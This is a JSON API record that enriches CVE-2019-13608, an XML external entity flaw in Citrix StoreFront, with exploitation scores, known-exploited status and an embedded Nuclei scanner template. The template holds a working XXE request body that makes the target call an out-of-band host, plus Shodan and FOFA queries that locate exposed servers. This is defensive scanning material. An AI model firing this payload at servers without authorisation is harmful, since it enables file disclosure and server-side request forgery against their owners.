{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2019-13608/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2019-13608/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2019-13608/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2019-13608/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2019-13608/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2019-13608/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2019-13608"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2019-13608"}},"enrichments":{"cisa-kev":{"kev":true},"epss":{"epss":0.30041,"kev":true,"percentile":0.98209},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2019/CVE-2019-13608.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2019-13608\n\ninfo:\n  name: Citrix StoreFront Server - XML External Entity\n  author: daffainfo\n  severity: high\n  description: |\n    Citrix StoreFront Server before 1903, 7.15 LTSR before CU4 (3.12.4000), and 7.6 LTSR before CU8 (3.0.8000) allows XXE attacks.\n  impact: |\n    Attackers can read arbitrary files, perform server-side request forgery, or cause denial of service through XXE attacks.\n  remediation: |\n    Update to version 1903 or later for StoreFront, CU4 or later for 7.15 LTSR, CU8 or later for 7.6 LTSR.\n  reference:\n    - https://www.exploit-db.com/exploits/47561\n    - https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX251988\n    - https://nvd.nist.gov/vuln/detail/CVE-2019-13608\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2019-13608\n    cwe-id: CWE-611\n    epss-score: 0.30041\n    epss-percentile: 0.98215\n    cpe: cpe:2.3:a:citrix:storefront_server:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: citrix\n    product: storefront_server\n    shodan-query: \"/Citrix/StoreWeb\"\n    fofa-query: \"/Citrix/StoreWeb\"\n  tags: cve,cve2019,citrix,storefront_server,xxe,kev,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /Citrix/StoreAuth/ExplicitForms/Start HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/vnd.citrix.requesttoken+xml\n        Accept: application/vnd.citrix.requesttokenresponse+xml, text/xml, application/vnd.citrix.authenticateresponse-1+xml\n\n        <?xml version=\"1.0\" encoding=\"utf-8\"?>\n        <!DOCTYPE requesttoken [<!ENTITY % xxe SYSTEM \"http://{{interactsh-url}}\"> %xxe; ]>\n        <requesttoken xmlns=\"http://citrix.com/delivery-services/1-0/auth/requesttoken\">\n          <for-service>6b78ab94-a709-4e3a-8b9b-a49ca317c70c</for-service>\n          <for-service-url>https://www.example.com/Citrix/Store/resources/v2</for-service-url>\n          <reqtokentemplate />\n          <requested-lifetime>1.00:00:00</requested-lifetime>\n        </requesttoken>\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"http\"\n\n      - type: word\n        part: content_type\n        words:\n          - \"vnd.citrix.authenticateresponse\"\n\n      - type: word\n        part: body\n        words:\n          - \"<AuthenticateResponse\"\n          - \"error-bad-request\"\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100d44ef1edd82c62b9bbe0cccb1d47dc44f85b5a0cbb67c74dbb09f4a8e9d26b7a022034a6825b9d46a4e68d12b62ab10e55e4a02e9d0bf7fad0f52b31883a4d5a79f2:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2019-13608"}